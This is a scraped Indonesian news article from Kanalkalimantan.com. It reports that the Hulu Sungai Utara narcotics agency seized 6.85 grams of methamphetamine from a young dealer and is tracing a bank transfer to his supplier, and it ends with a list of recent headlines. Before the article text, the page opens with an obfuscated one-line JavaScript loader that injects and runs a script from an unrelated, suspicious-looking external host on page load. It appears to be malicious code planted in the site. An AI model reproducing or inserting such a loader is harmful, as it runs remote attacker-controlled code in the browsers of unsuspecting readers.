(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

Sita 6,85 Gram Sabu dari Bandar, BNN HSU Selidiki Jejak Transfer Uang ke Pemasok


KANALKALIMANTAN.COM, AMUNTAIBadan Narkotika Nasional (BNN) Kabupaten Hulu Sungai Utara (HSU) kembali berhasil memutus peredaran narkotika dengan menyita barang bukti 2 paket sabu berat bersih 6,85 gram.

Sitaan 6,85 gram sabu tersebut, didapat petugas BNNK HSU dari rumah tersangka bandar berinisial IM (26), warga Jalan Jermani Husin, Desa Lok Bangkai RT 06 RW 003, Kecamatan Banjang, Kabupaten HSU.

Kepala BNNK HSU, Kompol H Syamsuddin mengatakan, pihaknya berhasil mengamankan tersangka IM bersama barang bukti saat melakukan penggerebekan di kawasan Desa Lok Bangkai pada Rabu (22/9/2022) sekitar pukul 12.30 Wita.

“Kawasan itu, berdasarkan laporan warga marak beredar narkoba terutama jenis sabu, kemudian kami hampir sembilan hari melakukan penyelidikan di sana, akhirnya membuahkan hasil,” jelas Kompol Syamsuddin, di hadapan para wartawan saat menggelar press release, di kantor BNNK HSU, Rabu (28/9/2022) siang.

 

Baca juga  : SAH. PTAM Intan Banjar Kembalikan Tarif Beban Seperti Dulu

Lebih lanjut, ia menambahkan, saat dilakukan penangkapan terhadap pelaku, pihaknya lantas menggiring tersangka ke rumahnya untuk menunjukkan barang bukti. Hasilnya ditemukanlah barang bukti sabu tersebut.

Terkait asal muasal barang haram tersebut, ia meyakinkan bahwa pihaknya terus mendalami kasus ini. Pasalnya menurutnya bukti transfer pembelian barang haram tersebut menggunakan identitas orang lain.

“Sudah kita lakukan pengecekan ke pihak bank terhadap identitas penerima transfer uang itu, orangnya memang ada, tetapi kita masih hati-hati, apakah itu menggunakan identitas orang lain, jadi masih kita selidiki,” imbuhnya.

Bersamaan barang bukti sabu, BNNK HSU juga ikut mengamankan barang bukti lainnya seperti 1 buah timbangan digital, struk transfer uang sebesar Rp 2,25 juta, handphone milik pelaku serta kotak obat batuk sebagai tempat penyimpanan barang bukti sabu. (Kanalkalimantan.com/dew)

Reporter : dew
Editor : bie


Desy Arfianty

Recent Posts

2026 Kemendikdasmen Revitalisasi 11.744 Satuan Pendidikan, Kalsel Kebagian Rp232,9 M di 2025

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan Dasar dan Menengah (Kemendikdasmen) tegaskan komitmen meningkatkan kualitas sumber daya… Read More

17 jam ago

Musrenbang Kecamatan Selat Digelar, Ini Kata Wakil Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More

1 hari ago

Resmikan 166 Sekolah Rakyat, Prabowo Target 500 Sekolah Rakyat di 2029

KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More

1 hari ago

Prabowo Janjikan Kampus Kedokteran Gratis

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More

1 hari ago

Tiba di Banjarbaru, Presiden Prabowo Resmikan 166 Sekolah Rakyat

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More

2 hari ago

Peluncuran Budaya Sekolah Aman dan Nyaman di Banjarbaru, Ini Kata Mendikdasmen Abdul Mu’ti

KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More

2 hari ago

This website uses cookies.